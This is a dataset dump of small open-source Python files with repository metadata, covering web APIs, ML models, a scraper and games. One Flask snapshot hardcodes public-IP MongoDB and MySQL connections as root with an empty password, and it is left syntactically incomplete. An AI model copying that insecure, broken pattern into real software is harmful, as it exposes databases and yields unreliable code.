blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e7030cec636c7929d78cb30726f329303547c674 | 65d41c00466155d6cb290b555ca421113463e1a1 | /src/helpers.py | 720f8139305aa7974f8b276cfd3e1b703e9a1cab | [] | no_license | MalakaGu/sentiment-cdn-election | 257ba255ed8008de1d52cf71d9daaaddacdfbbe3 | 351532af71cc309c8c29bdfbe0f848bb6dc111ca | refs/heads/master | 2022-08-22T03:34:10.986521 | 2020-03-26T20:05:42 | 2020-03-26T20:05:42 | 266,509,699 | 0 | 0 | null | 2020-05-24T09:34:16 | 2020-05-24T09:34:15 | null | UTF-8 | Python | false | false | 893 | py | import datetime
def print_break(text):
"""Helper function to print clean sections to console"""
print("")
print("#" * 64)
print("# " + text)
print("#" * 64)
def get_project_global_variables():
"""
Returns a list of 'global variables' that are referenced in multiple
different places. Purpose is to reduce the risk of typing in the wrong
thing.
"""
out = {
"twitter_handles": ["JustinTrudeau", "AndrewScheer",
"ElizabethMay", "theJagmeetSingh",
"MaximeBernier"],
"start_date": datetime.date(2019, 9, 11), # elct started on 2019-09-11
"df_path_raw": "data/twitter-data-raw.csv",
"df_path_clean": "data/twitter-data-clean.csv",
"df_path_word_count": "data/word-count.csv",
"df_path_phrase_count": "data/phrase-count.csv"
}
return out
| [
"edwardes.s@gmail.com"
] | edwardes.s@gmail.com |
dcaf14c79776bf24736618615cc905f12d19998d | dfa61f28f8503c762b9ac125579baa16405b4a7f | /lustre/database.py | bebcf0cf5bfcfa5f75b4ce60bb198bb545168ddd | [
"MIT"
] | permissive | char/lustre | ab5989eb294180d2e6aea76c68fbdb57eb5bc5f0 | 93e2196a962cafcfd7fa0be93a6b0d563c46ba75 | refs/heads/main | 2023-02-02T04:00:51.827790 | 2020-12-17T00:20:57 | 2020-12-17T00:21:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,442 | py | import typing
from databases import DatabaseURL, Database as DatabaseBackend
from sqlalchemy import MetaData
import orm, orm.models
class Database:
def __init__(self, url: DatabaseURL):
url = DatabaseURL(url)
if url.scheme == "postgres":
# The default postgres backend for databases does not return
# RowProxy objects, unlike all the other backends.
# Therefore, we use aiopg so that we have dialect-agnostic results.
url = url.replace(scheme="postgres+aiopg")
self.url = url
self.database = DatabaseBackend(url)
self.metadata = MetaData()
class DatabaseModelMetaclass(orm.models.ModelMetaclass):
def __new__(
cls: type,
name: str,
bases: typing.Sequence[type],
attrs: dict,
) -> type:
attrs["__database__"] = self.database
attrs["__metadata__"] = self.metadata
return super(DatabaseModelMetaclass, cls).__new__(
cls, name, bases, attrs
)
class DatabaseModel(orm.Model, metaclass=DatabaseModelMetaclass):
__abstract__ = True
self.Model = DatabaseModel
class DatabaseAppMixin:
def __init__(self):
pass
def setup_database(self, database_url: typing.Union[str, DatabaseURL]):
self.db = Database(database_url)
| [
"half-kh-hacker@hackery.site"
] | half-kh-hacker@hackery.site |
3efd4353cb7ee1ed1b132bb5326d4163aacbbb64 | 658e8fb30ed55fb3cc835c1b76b81ae19dfb5619 | /main.py | c881e6e38fe805abfc3ffa09c399cf0b7ada3444 | [] | no_license | min99830/fastapi | 3a95d9e78c9ade9fa2d6d6bffe0c549101b66766 | 3a89104442726e32c775dbd19f96a7412f62dec2 | refs/heads/master | 2023-07-11T12:06:14.949998 | 2021-08-19T15:18:09 | 2021-08-19T15:18:09 | 397,985,616 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,382 | py | from typing import List
from db import SessionLocal
from fastapi import FastAPI, status, HTTPException
from fastapi.params import Depends
from sqlalchemy.orm.session import Session
import crud
import schemas
app = FastAPI()
# Dependency
def get_db():
db = SessionLocal()
try:
yield db
finally:
db.close()
# GET
# @app.get("/items/{item_id}")
# def Get_Item(item_id: str):
# _items = list(filter(lambda item: item['id'] == item_id, items)) # list that 'id' is item_i
# if len(_items) == 0:
# raise HTTPException(status.HTTP_404_NOT_FOUND, detail="Item not found")
# return _items[0]
@app.get("/items", response_model=List[schemas.Item])
def Get_Items(skip: int = 0, limit: int = 3, db: Session = Depends(get_db)):
return crud.get_items(db, skip, limit)
@app.post("/items", response_model=schemas.Item)
def Create_Item(item: schemas.ItemCreate, db: Session = Depends(get_db)):
return crud.create_item(db, item=item)
# # PATCH
# @app.patch("/items") # 못찾으면 알아서 404 raise 시켜주네?
# def Update_Item(item: Item):
# target = Get_Item(item.id)
# target['name'] = item.name
# return items
# # DELETE
# @app.delete("/items") # 못찾으면 알아서 404 raise 시켜주네?
# def Delete_Item(item: Item):
# target = Get_Item(item.id)
# items.pop(items.index(target))
# return items
| [
"min99830@naver.com"
] | min99830@naver.com |
dfd88798a0b2d0523219bd5c89a9f43e7bfe0f34 | 1e1c480298497c07d525ce11e1801ccbf587b636 | /profiles/models.py | 2b6a7d7065709cd0ef125b89b58adbbcd1e6b0af | [] | no_license | KDenisNoah/school-app | 9c99b50ce9b049aaa3fe59bdd5e962262ef8b949 | 785e3ed94b80f40df9939764e84c12f9751f8440 | refs/heads/master | 2020-07-05T20:39:52.596759 | 2019-02-10T14:41:45 | 2019-02-10T14:41:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,881 | py | from django.db import models
from django.contrib.auth.models import AbstractBaseUser
from django.contrib.auth.models import PermissionsMixin
from django.contrib.auth.models import BaseUserManager
class UserProfileManager(BaseUserManager):
"""Helps Django work with our custom user model."""
def create_user(self, email, name, password=None):
"""Creates a new user profile."""
if not email:
raise ValueError('Users must have an email address.')
email = self.normalize_email(email)
user = self.model(email=email, name=name,)
user.set_password(password)
user.save(using=self._db)
return user
def create_superuser(self, email, name, password):
"""Creates and saves a new superuser with given details."""
user = self.create_user(email, name, password)
user.is_superuser = True
user.is_staff = True
user.save(using=self._db)
return user
class UserProfile(AbstractBaseUser, PermissionsMixin):
"""
Represents a "user profile" inside out system. Stores all user account
related data, such as 'email address' and 'name'.
"""
email = models.EmailField(max_length=255, unique=True)
name = models.CharField(max_length=255)
is_active = models.BooleanField(default=True)
is_staff = models.BooleanField(default=False)
objects = UserProfileManager()
USERNAME_FIELD = 'email'
REQUIRED_FIELDS = ['name']
def get_full_name(self):
"""Django uses this when it needs to get the user's full name."""
return self.name
def get_short_name(self):
"""Django uses this when it needs to get the users abbreviated name."""
return self.name
def __str__(self):
"""Django uses this when it needs to convert the object to text."""
return self.email
| [
"uzzalroy.acm@gmail.com"
] | uzzalroy.acm@gmail.com |
4ce20ed34598dde7e20e04b11e152e544c203e08 | 8c5cbdb10f4839806297cdce785fbd9feb3623dd | /125/vaildPalindrome.py | 56cc22d04adbcfefc2d86c1d2918860969bb20c6 | [] | no_license | kldxz123/Leetcode | c529dd3c81f0a803ce5a0ac9149944fe42b54b65 | f47a760fc9e2980954fa4c9d76da8e27eab5871f | refs/heads/master | 2021-07-22T13:17:02.434093 | 2017-10-24T03:59:38 | 2017-10-24T03:59:38 | 108,074,585 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 314 | py | import re
class Solution(object):
def isPalindrome(self, s):
"""
:type s: str
:rtype: bool
"""
t = s.lower()
#print(t)
a = []
for i in t:
if i.isalpha() or i.isdigit():
a.append(i)
#print(a)
b = a[::-1]
#print(b)
return a == b
sol = Solution()
a = '0P '
print(sol.isPalindrome(a)) | [
"809058178@qq.com"
] | 809058178@qq.com |
218f7f161ce570b21a5293386e4ddc9cc7759bd2 | 9b722ca41671eb2cea19bac5126d0920639261bd | /.history/app_20201124112830.py | dfe4f24e89674672c3d491d9d14c2ce2f017531e | [] | no_license | thawalk/db_flask_server | 7928fd481f99d30bdccc60d97f02db78324cfdbe | cd55f1c9bf84c734457ee02d9f64a6833e295fad | refs/heads/master | 2023-01-25T02:40:19.097457 | 2020-12-06T07:45:50 | 2020-12-06T07:45:50 | 314,229,480 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,465 | py | import json
import pymongo
from flask import Flask, jsonify, url_for, request, redirect,Response,Request
import pymongo
from bson.json_util import dumps
import mysql.connector
from werkzeug.serving import run_simple
import os
from dotenv import load_dotenv
import datetime
import time
app = Flask(__name__)
test_collection='test_collection'
mongo = pymongo.MongoClient('mongodb://54.83.130.150:27017/?readPreference=primary&appname=MongoDB%20Compass&ssl=false')
db = pymongo.database.Database(mongo, 'test')
metadata_col = pymongo.collection.Collection(db, 'test_collection')
db = mysql.connector.connect(
host ='3.84.158.241',
user = 'root',
password = '',
database = 'reviews',
)
cur = db.cursor()
@app.route('/',methods=["GET"])
def api_root():
data = {
'message': 'Welcome to our website. Where reviews are our number one priority'
}
js = json.dumps(data)
response = Response(js, status=200, mimetype='application/json')
return response
@app.route('/categories', methods = ['GET']) #TODO: #returns list of categories
def get_categories():
categories = []
js = json.dumps(data)
response = Response(js, status=200, mimetype='application/json')
return response
@app.route('/search', methods=['GET']) #now it only searches for TITLE. the mongo metadata does not have author
def search_book():
try:
data = request.json
title = data["title"]
result = metadata_col.find({"title":title})
result_array = dumps(list(result))
print(result_array)
js = json.dumps(result_array)
response = Response(js, status=200, mimetype='application/json')
return response
except:
errMsg = "Please include title."
js = json.dumps(errMsg)
response = Response(js, status=400, mimetype='application/json')
return response
# @app.route('/review', methods=['POST'])
# def add_review():
# if not request.json or not request.json['asin'] or type(request.json['asin']) != str or not request.json['overall'] or not request.json['reviewText'] or type(request.json['reviewText']) != str or not request.json['reviewTime'] or type(request.json['reviewTime']) != str or not request.json['reviewerID'] or type(request.json['reviewerID']) != str or not request.json['reviewerName'] or type(request.json['reviewerName']) != str or not request.json['summary'] or type(request.json['summary']) != str or not request.json['unixReviewTime'] or type(request.json['unixReviewTime']) != int :
# return 'invalid request msg', 404
# txt = "INSERT INTO 'kindle_reviews' ('id', 'asin', 'overall', 'reviewText', 'reviewTime', 'reviewerID', 'reviewerName', 'summary', 'unixReviewTime') VALUES (%s)"
# values = (None, request.json['asin'], request.json['overall'], request.json['reviewText'], request.json['reviewTime'], request.json['reviewerID'], request.json['reviewerName'], request.json['summary'], request.json['unixReviewTime'])
# cur.execute(txt, values)
# return 'successfully uploaded new review', 200
@app.route('/addBook',methods= ['POST'])
def add_book():
try:
data = request.json
title = data['title']
asin = data['asin']
description = data['description']
price = data['price']
categories = data['categories']
message = "Book added successfully"
metadata_col.insert({"title":title,"asin":asin,"description":description,"price":price,"categories":categories})
js = json.dumps(message)
response = Response(js, status=201, mimetype='application/json')
return response
except:
errMsg = "Please include title, asin, description, price and categories."
js = json.dumps(errMsg)
response = Response(js, status=400, mimetype='application/json')
return response
@app.route('/addReview',methods = ['POST']) #TODO: add review INTO sql part
def add_review():
try:
data = request.json
asin = data["asin"]
helpful = [0,0]
overall = data["overall"]
reviewTime = data["reviewTime"]
reviewerID = data["reviewerID"]
reviewerName = data["reviewerName"]
sum
@app.route('/sortByGenres', methods= ['GET']) #TODO: sort by genres from mongo metadata categories
def sort_by_genres():
pass
if __name__ == '__main__':
# app.run(host="0.0.0.0", port=80) #remember to change this part
app.run(debug=True)
| [
"akmal_hakim_teo@hotmail.com"
] | akmal_hakim_teo@hotmail.com |
bba3cbf765243f23c4a7e1d0c54c19cce2b7e9b6 | 08ee36e0bb1c250f7f2dfda12c1a73d1984cd2bc | /src/mnistk/networks/conv1dthenlinear_81.py | da2fc2b67de2ce6afe44794e2c90add3e214fc37 | [] | no_license | ahgamut/mnistk | 58dadffad204602d425b18549e9b3d245dbf5486 | 19a661185e6d82996624fc6fcc03de7ad9213eb0 | refs/heads/master | 2021-11-04T07:36:07.394100 | 2021-10-27T18:37:12 | 2021-10-27T18:37:12 | 227,103,881 | 2 | 1 | null | 2020-02-19T22:07:24 | 2019-12-10T11:33:09 | Python | UTF-8 | Python | false | false | 1,094 | py | # -*- coding: utf-8 -*-
"""
conv1dthenlinear_81.py
:copyright: (c) 2019 by Gautham Venkatasubramanian.
:license: MIT
"""
import torch
from torch import nn
class Conv1dThenLinear_81(nn.Module):
def __init__(self):
nn.Module.__init__(self)
self.f0 = nn.Conv1d(in_channels=16, out_channels=41, kernel_size=(30,), stride=(1,), padding=(0,), dilation=(1,), groups=1, bias=True, padding_mode='zeros')
self.f1 = nn.Conv1d(in_channels=41, out_channels=10, kernel_size=(20,), stride=(1,), padding=(0,), dilation=(1,), groups=1, bias=False, padding_mode='zeros')
self.f2 = nn.Linear(in_features=10, out_features=113, bias=False)
self.f3 = nn.Sigmoid()
self.f4 = nn.Linear(in_features=113, out_features=10, bias=False)
self.f5 = nn.LogSoftmax(dim=1)
def forward(self, *inputs):
x = inputs[0]
x = x.view(x.shape[0],16,49)
x = self.f0(x)
x = self.f1(x)
x = x.view(x.shape[0],10)
x = self.f2(x)
x = self.f3(x)
x = self.f4(x)
x = self.f5(x)
return x
| [
"41098605+ahgamut@users.noreply.github.com"
] | 41098605+ahgamut@users.noreply.github.com |
75ba5c87c756b3df379b90b49225caf02d350b18 | 75da07f8bc14612ef36efec4dbca563eb72b669b | /curd/curd_form.py | 6dc7b7bcecbee04fbe8a7b349679814dcc983678 | [] | no_license | ShivPKeshri/SutraHR | 6a3e0ac3e3956717766750ad6a7333556e1c407e | 4b4ff7d45bb8d0fee6fe5879701c721e08630949 | refs/heads/master | 2023-05-01T03:43:12.124389 | 2021-11-15T17:27:03 | 2021-11-15T17:27:03 | 201,342,542 | 0 | 0 | null | 2022-04-22T22:10:30 | 2019-08-08T21:50:05 | Python | UTF-8 | Python | false | false | 223 | py | from django import forms
from .models import CurdOperation
class CurdForm(forms.ModelForm):
class Meta:
model = CurdOperation
fields = [ 'id',
'title',
'description',
'status',
'is_deleted',
]
| [
"shivprakashkeshri@gmail.com"
] | shivprakashkeshri@gmail.com |
60d12af994a099dfe4befa13dc62669519ab3adb | 8b275f5b199af7130452667f25c5f06d8f88d842 | /fish/spiders/jiemian.py | 07f4d1d92ec2e9adfd8dab223977aec5d1fa01ad | [] | no_license | chouhui/chou_crawl | 55cc003c6f766a84b02149232dc05821be79ba50 | e3ddf668bdeb637c9c15a4b8d1bab926db8bfd17 | refs/heads/master | 2020-09-16T11:07:08.863451 | 2019-11-25T04:07:51 | 2019-11-25T04:07:51 | 223,750,635 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,632 | py | # coding: utf-8
import scrapy
from ..items.items import FinanceNewsItem
class UstcSpider(scrapy.Spider):
name = 'jiemian_finance'
DOWNLOAD_DELAY = 1
# allowed_domains = ['https://search.sina.com.cn']
headers = {
'Referer': 'None',
}
cookie = 'app_qrcode_hide=1; br-resp-key="g:191111145748d1400000004ef5930a526a"'
cookie_l = cookie.split('; ')
cookies = {}
for i in cookie_l:
k, v = i.split('=', 1)
cookies[k] = v
# print cookies
def start_requests(self):
for i in range(1, 5):
#https://search.sina.com.cn/?q=%B2%C3%D4%B1&range=rel&c=news&sort=time&col=&source=&from=&country=&size=&time=&a=&page={}&pf=0&ps=0&dpc=1
#
url = 'https://a.jiemian.com/index.php?m=search&a=index&msg=%E7%BD%A2%E5%B7%A5&type=news&page={}'.format(i)
# url = 'https://www.jiemian.com/article/3640323.html'
yield scrapy.Request(url)
def parse(self, response):
body = response.xpath('//div[@class="news-header"]//a/@href').extract()
for res in body:
yield scrapy.Request(res,headers=self.headers, callback=self.parse2)
def parse2(self, response):
body = response.xpath('//div[@class="article-content"]/p//text()').extract()
content = ''.join(body).strip()
title = response.xpath('//div[@class="article-header"]/h1/text()').extract_first()
item = FinanceNewsItem()
item['title'] = title
item['content'] = content
item['source'] = 'jiemian'
item['url'] = response.url
# print item
yield item
| [
"cyh2czj@mail.ustc.edu.cn"
] | cyh2czj@mail.ustc.edu.cn |
d9f1f1ef4a21917821be03f6b3eae82be1d88ae0 | 2728543f61eb17dcccca9853ba6e6d2d932c8f8e | /roundsolutions/src/g4f_ws.py | c7273191eeff049503dbb05f0d4afbf69c165e74 | [
"MIT"
] | permissive | bewest/unapy | 7a77afb841e354de5943f4bdfe9a08f1d3f49c88 | cc55cfb90f38c7ac01ef244cc4b3509e4426b0e4 | refs/heads/master | 2016-09-11T06:09:39.908520 | 2012-06-17T23:10:20 | 2012-06-17T23:10:20 | 2,311,697 | 3 | 6 | null | null | null | null | WINDOWS-1252 | Python | false | false | 2,461 | py | ############################################
# gauge4free WS2300 Python application #
# Copyright 2008, © Round Solutions #
# #
############################################
#Redistribution and use in source and binary forms, with or without
#modification, are permitted provided that the following conditions
#are met:
#
#Redistributions of source code must retain the above copyright notice,
#this list of conditions and the following disclaimer.
#
#Redistributions in binary form must reproduce the above copyright
#notice, this list of conditions and the following disclaimer in
#the documentation and/or other materials provided with the distribution.
#
#
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS``AS
#IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
#TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
#PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR
#CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
#EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
#PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
#PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
#LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
#NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
#version 20080128.1
import MAIN
import LOCALS
# Change values below
# GPRS APN settings
# incorrect values lead to imposibility to use GPRS
apn = 'internet'
gprs_userid = ''
gprs_passw = ''
# gauge4free password
g4f_passw = 'demo'
# Interval between data upload to server
# in 1/10 of second
interval = 18000
# WS2300 driver
# how many times a command will be retried before declare fail
LOCALS.maxtrials = 30
# receive timeout when reading from WS2300
LOCALS.receive_timeout = 3
'''
Debug level is in LOCALS.debug_level
if bit 2 is set print driver level messages
if bit 1 is set print low level applications messages
if bit 0 is set print high level applications messages
'''
LOCALS.debug_level = 3
# !!! Do not change anything from here !!!
LOCALS.cgdcont = apn
LOCALS.gprsuserid = gprs_userid
LOCALS.gprspassw = gprs_passw
LOCALS.g4fpassw = g4f_passw
LOCALS.interval = interval
MAIN.main()
| [
"bewest@gmail.com"
] | bewest@gmail.com |
3b1a708252d1f6d29874b3c44952c06a28abf3a7 | 075c805a12278aa1233865359b04c87c0e3ce57e | /management/PlayerMaster.py | 2c986e98eea07fb9a0273144f79b0fe66a0c83f6 | [
"MIT"
] | permissive | momijiariari/solid-disco | 144ae6b33d1a59e3c303ea6efd22b7a98662fe55 | 6c8f406f2701e0bda3fe83cbc9f90900a0ba78fd | refs/heads/master | 2023-03-06T06:47:45.296828 | 2021-02-23T06:29:38 | 2021-02-23T06:29:38 | 334,907,597 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 492 | py | from player.Player import Player
class PlayerMaster():
def __init__(self, player_names):
self.players = [Player(i, player_names[i]) for i in range(0, len(player_names))]
self.players_display = '\n'.join([
'%d: %s' % (self.players[i].getId(), self.players[i].getName())
for i in range(0, len(self.players))
])
def getPlayersList(self):
return self.players
def getPlayersDisplay(self):
return self.players_display
| [
"noreply@github.com"
] | noreply@github.com |
20ff20c88a993798aebce8fc94a0c494f0fc5031 | 62531bce62949e0f79f55136e2d12c63f0d01cbb | /solarSystem.py | 46b5fb1ea7b7d16a029a3fc84622e99a0ff5b80f | [] | no_license | icicchen/PythonGameProgramming | 7bf23b7c7bf2b1af53b564b726b6513b140a32a6 | 1d733e3c7cbccd308dd20fc05f3588a78c0b1e58 | refs/heads/master | 2020-08-03T22:42:48.051686 | 2017-05-25T01:24:26 | 2017-05-25T01:24:26 | 66,228,806 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,955 | py | import pygame
import solarSystemLib as pl
import math
import random
# -- definition of congif variables
background_color = (0,0,0)
(width, height) = (1000, 400)
screen = pygame.display.set_mode((width,height))
pygame.display.set_caption('Particle simulator with OOP')
# -- number of particles
num_particles = 100
# -- particle info
min_mass = 1
max_mass = 5
# gravity = (math.pi, 0.01)
# -- list to store particles
set_particles = list()
for i in range(num_particles):
mass = min_mass + 0.5 * max_mass * random.random()
# -- calculate the size
size = pl.calculateSize(mass)
x = random.randint(0, width)
y = random.randint(0, height)
angle = random.uniform(0, 2*math.pi)
set_particles.append(pl.Particle(x=x, y=y, size=size, angle=angle, speed=0.0, mass=mass, color=(255,255,255)))
clock = pygame.time.Clock()
running = True
particle_to_remove = []
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
screen.fill(background_color)
for i, p1 in enumerate(set_particles):
for p2 in set_particles[i+1:]:
if p1.attract(p2):
pl.collide(p1,p2)
if p1.size > 5:
# -- yellow for suns
p1.color = (255, 255, 0)
if 'collided_with' in pl.__dict__:
particle_to_remove.append(p1.collide_with)
p1.size = pl.calculateSize(p1.mass)
del pl.__dict__['collided_with']
# -- draw the particles
p1.experience_drag(drag=0.9)
p1.move()
p1.bounce(height,width)
p1.draw(screen)
for p in particle_to_remove:
if p in set_particles:
set_particles.remove(p)
#for par in set_particles:
#par.add_gravity(gravity=gravity)
#par.experience_drag(drag=0.999)
#par.move()
#par.bounce(height,width)
#par.draw(screen)
pygame.display.flip()
clock.tick(5)
| [
"noreply@github.com"
] | noreply@github.com |
085841dd4e27513ce53c068b1d131996f5c3765f | 8c2c6d5c9ff1f36d73275ef90d35a622b9fce4d7 | /foods.py | b3fac09fc11d72796915ed5b41908596ddd3b72d | [] | no_license | Dushyanttara/Competitive-Programing | cf90611de94643a347449d68d51751a86bf7d528 | 6caa35b0d58792d9f6dcdb071feb40dc9e0bd9bf | refs/heads/master | 2022-12-21T19:37:36.121470 | 2020-09-17T05:31:01 | 2020-09-17T05:31:01 | 296,226,118 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 743 | py | #Dushyant Tara(17-06-2020): This program will help you understand copying a list
my_foods = ['pizza', 'falafel', 'carrot cake','gulab jamun','cutlet','momos','aloo paratha']
friend_foods = my_foods[:] #Remember to copy the list using a slice
my_foods.append('ice cream')
friend_foods.append('cannoli')
print("My favorite foods are : ")
for my_food in my_foods:
print(my_food)
print("\n My friend's favorite foods are: ")
for friend_food in friend_foods:
print(friend_food)
print("The first three items in the list are : ")
print(my_foods[:3])
print("The three items fromt the middle of the list are")
print(my_foods[int(len(my_foods)/2): ])
print("The last 3 items in the list are")
print(my_foods[-3:]) | [
"noreply@github.com"
] | noreply@github.com |
8aee48b71c0ebb2d53999918e1c552b0a87ce133 | 72409ee3ffad4d865bfd900ba989a0756ff12e24 | /time_series_detector/algorithm/xgboosting.py | e9ec290e6904b48ed32c1af6aaa202fbf2131f15 | [] | no_license | ncucjm/ts_detector | 559cb5b25932e1a46aac2966fc0b031382080b11 | 742f4026a6da89331b9d6e46ae6ae4e2ea697215 | refs/heads/master | 2020-07-06T01:04:41.299625 | 2019-08-30T15:07:14 | 2019-08-30T15:07:14 | 202,840,403 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,709 | py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
import os
import xgboost as xgb
from time_series_detector.feature import feature_service
from time_series_detector.common.tsd_errorcode import *
from time_series_detector.common.tsd_common import *
MODEL_PATH = os.path.join(os.path.dirname(__file__), '../model/')
DEFAULT_MODEL = MODEL_PATH + "xgb_default_model"
class XGBoosting(object):
"""
XGBoost is an optimized distributed gradient boosting library designed to be highly efficient,
flexible and portable. It implements machine learning algorithms under the Gradient Boosting framework.
XGBoost provides a parallel tree boosting (also known as GBDT, GBM) that solve many data science problems
in a fast and accurate way. The same code runs on major distributed environment (Hadoop, SGE, MPI)
and can solve problems beyond billions of examples.
https://github.com/dmlc/xgboost
"""
def __init__(self,
threshold=0.15,
max_depth=10,
eta=0.05,
gamma=0.1,
silent=1,
min_child_weight=1,
subsample=0.8,
colsample_bytree=1,
booster='gbtree',
objective='binary:logistic',
eval_metric='auc'):
"""
:param threshold: The critical point of normal.
:param max_depth: Maximum tree depth for base learners.
:param eta: Value means model more robust to overfitting but slower to compute.
:param gamma: Minimum loss reduction required to make a further partition on a leaf node of the tree.
:param silent: If 1, it will print information about performance. If 2, some additional information will be printed out.
:param min_child_weight: Minimum sum of instance weight(hessian) needed in a child.
:param subsample: Subsample ratio of the training instance.
:param colsample_bytree: Subsample ratio of columns when constructing each tree.
:param booster: Specify which booster to use: gbtree, gblinear or dart.
:param objective: Specify the learning task and the corresponding learning objective or a custom objective function to be used (see note below).
:param eval_metric: If a str, should be a built-in evaluation metric to use. See doc/parameter.md. If callable, a custom evaluation metric.
"""
self.threshold = threshold
self.max_depth = max_depth
self.eta = eta
self.gamma = gamma
self.silent = silent
self.min_child_weight = min_child_weight
self.subsample = subsample
self.colsample_bytree = colsample_bytree
self.booster = booster
self.objective = objective
self.eval_metric = eval_metric
def __save_libsvm_format(self, data, feature_file_name):
"""
Save the time features to libsvm format.
:param data: feature values
:param file_name: file saves the time features and label
"""
try:
f = open(feature_file_name, "w")
except Exception as ex:
return TSD_CAL_FEATURE_ERR, str(ex)
times = 0
for temp in data:
if times > 0:
f.write("\n")
result = ['{0}:{1}'.format(int(index) + 1, value) for index, value in enumerate(temp[0])]
f.write(str(temp[1]))
for x in result:
f.write(' ' + x)
times = times + 1
return TSD_OP_SUCCESS, ""
def __calculate_features(self, data, feature_file_name, window=DEFAULT_WINDOW):
"""
Caculate time features and save as libsvm format.
:param data: the time series to detect of
:param feature_file_name: the file to use
:param window: the length of window
"""
features = []
for index in data:
if is_standard_time_series(index["data"], window):
temp = []
temp.append(feature_service.extract_features(index["data"], window))
temp.append(index["flag"])
features.append(temp)
try:
ret_code, ret_data = self.__save_libsvm_format(features, feature_file_name)
except Exception as ex:
ret_code = TSD_CAL_FEATURE_ERR
ret_data = str(ex)
return ret_code, ret_data
def xgb_train(self, data, task_id, num_round=300):
"""
Train an xgboost model.
:param data: Training dataset.
:param task_id: The id of the training task.
:param num_round: Max number of boosting iterations.
"""
model_name = MODEL_PATH + task_id + "_model"
feature_file_name = MODEL_PATH + task_id + "_features"
ret_code, ret_data = self.__calculate_features(data, feature_file_name)
if ret_code != TSD_OP_SUCCESS:
return ret_code, ret_data
try:
dtrain = xgb.DMatrix(feature_file_name)
except Exception as ex:
return TSD_READ_FEATURE_FAILED, str(ex)
params = {
'max_depth': self.max_depth,
'eta': self.eta,
'gamma': self.gamma,
'silent': self.silent,
'min_child_weight': self.min_child_weight,
'subsample': self.subsample,
'colsample_bytree': self.colsample_bytree,
'booster': self.booster,
'objective': self.objective,
'eval_metric': self.eval_metric,
}
try:
bst = xgb.train(params, dtrain, num_round)
bst.save_model(model_name)
except Exception as ex:
return TSD_TRAIN_ERR, str(ex)
return TSD_OP_SUCCESS, ""
def predict(self, X, window=DEFAULT_WINDOW, model_name=DEFAULT_MODEL):
"""
:param X: the time series to detect of
:type X: pandas.Series
:param window: the length of window
:param model_name: Use a xgboost model to predict a particular sample is an outlier or not.
:return 1 denotes normal, 0 denotes abnormal.
"""
if is_standard_time_series(X, window):
ts_features = []
features = [10]
features.extend(feature_service.extract_features(X, window))
ts_features.append(features)
res_pred = xgb.DMatrix(np.array(ts_features))
bst = xgb.Booster({'nthread': 4})
bst.load_model(model_name)
xgb_ret = bst.predict(res_pred)
if xgb_ret[0] < self.threshold:
value = 0
else:
value = 1
return [value, xgb_ret[0]]
else:
return [0, 0]
| [
"1300887184@qq.com"
] | 1300887184@qq.com |
2c29b174b7b67e66ceadb654d559bfcbe4557608 | 51c44775e9f4a3647bf2939bf924f0c0ccaa357e | /apps/check/urls.py | da17c7e6418d05d394b80b63171ef02d0cd2b96a | [] | no_license | citotob/sis_api | 2f246b01399ce0c188ee88f77993cdd8b7a045e7 | ca3dfd302fc479abc8d10878fc0bfb51e7ed76f5 | refs/heads/master | 2023-07-03T15:41:10.468401 | 2021-02-08T01:58:53 | 2021-02-08T01:58:53 | 299,157,660 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 713 | py | from django.urls import path
from rest_framework.urlpatterns import format_suffix_patterns
from . import views
from rest_framework.routers import DefaultRouter
load = views.checkAPI.as_view({
'post': 'load',
})
network = views.checkAPI.as_view({
'post': 'network',
})
database = views.checkAPI.as_view({
'post': 'database',
})
bruteforce = views.checkAPI.as_view({
'post': 'bruteforce',
})
disk = views.checkAPI.as_view({
'post': 'disk',
})
urlpatterns = [
path('load/', load),
path('network/', network),
path('database/', database),
path('bruteforce/', bruteforce),
path('disk/', disk),
]
urlpatterns = format_suffix_patterns(urlpatterns)
| [
"erdell_tog@yahoo.com"
] | erdell_tog@yahoo.com |
